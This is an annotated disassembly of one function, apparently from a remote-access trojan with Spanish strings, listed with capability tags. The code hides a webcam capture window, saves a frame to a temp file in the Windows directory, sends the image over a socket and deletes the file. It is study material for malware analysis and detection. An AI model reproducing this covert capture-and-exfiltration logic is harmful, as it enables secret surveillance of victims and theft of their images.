Function at 0x407c26
Capabilities:
Capture webcam image
Check if file exists
Delete file
Get file attributes
Get file size
Hide graphical window
Open clipboard
Query environment variable
Read and send data from client to server
Read clipboard data
Read file on windows
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov dword [ebp - 0x10], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x190
mov dword [esp + 0x10], 0x190
mov dword [esp + 0xc], 0xa
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x40000000
mov dword [esp], 0x426500
call sub.AVICAP32.DLL_capCreateCaptureWindowA
sub esp, 0x20
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
cmp dword [ebp - 0x10], 0
jne 0x407ce6
mov dword [esp], str.___Este_usuario_no_posee_Webcam__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Este_usuario_no_posee_Webcam__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x4083f4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x42a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x435
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x42
mov dword [esp + 4], 0x434
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x432
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x43c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x41e
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreateCompatibleDC
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x407e76
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
setne al
test al, al
je 0x407e76
mov dword [esp], 2
call sub.USER32.dll_GetClipboardData
sub esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.GDI32.dll_SelectObject
sub esp, 8
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_GetClientRect
sub esp, 8
call sub.USER32.dll_CloseClipboard
mov dword [esp], str.windir
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_tmpd.jpg
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov dword [esp], str.windir
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_tmpd.bmp
lea eax, [ebp - 0x236]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x33b]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x407f25
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x80
setne al
test al, al
je 0x407f14
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
lea eax, [ebp - 0x33b]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004017a7
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [0x42d1ec], eax
mov eax, dword [0x42d1ec]
cmp eax, 0xffffffff
je 0x407f97
mov eax, dword [0x42d1ec]
test eax, eax
jne 0x4081e9
mov eax, dword [0x42d1ec]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x33b]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
sete al
test al, al
je 0x407fdb
lea eax, [ebp - 0x33b]
mov dword [esp + 4], eax
lea eax, [ebp - 0x236]
mov dword [esp], eax
call fcn.004083f6
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [0x42d1ec], eax
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x274c
je 0x408039
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2745
jne 0x40803d
mov al, 1
jmp 0x40803f
mov al, 0
test al, al
jne 0x4083f4
mov eax, dword [0x42d1ec]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.archivo_dimg.jpg
lea eax, [ebp - 0x131]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [0x42d1ec]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x42d020
mov edx, dword [ebp - 0x18]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [0x42d1ec]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x131]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x131]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x40812c
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x4083f4
mov edx, dword [ebp - 0x18]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x40816f
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x4083f4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
lea eax, [ebp - 0x33b]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x4083f4
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x80
setne al
test al, al
je 0x4081d3
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
jmp 0x4083f4
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x274c
je 0x408201
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2745
jne 0x408205
mov al, 1
jmp 0x408207
mov al, 0
test al, al
jne 0x4083f4
mov eax, dword [0x42d1ec]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.archivo_dimg.jpg
lea eax, [ebp - 0x131]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [0x42d1ec]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x42d020
mov edx, dword [ebp - 0x18]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [0x42d1ec]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x131]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x131]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x4082f4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x4083f4
mov edx, dword [ebp - 0x18]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x408337
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x4083f4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
lea eax, [ebp - 0x33b]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x4083a8
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0x80
setne al
test al, al
je 0x408397
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x33b]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.GDI32.dll_DeleteDC
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.GDI32.dll_DeleteObject
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40b
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
jmp 0x4083f4
leave
ret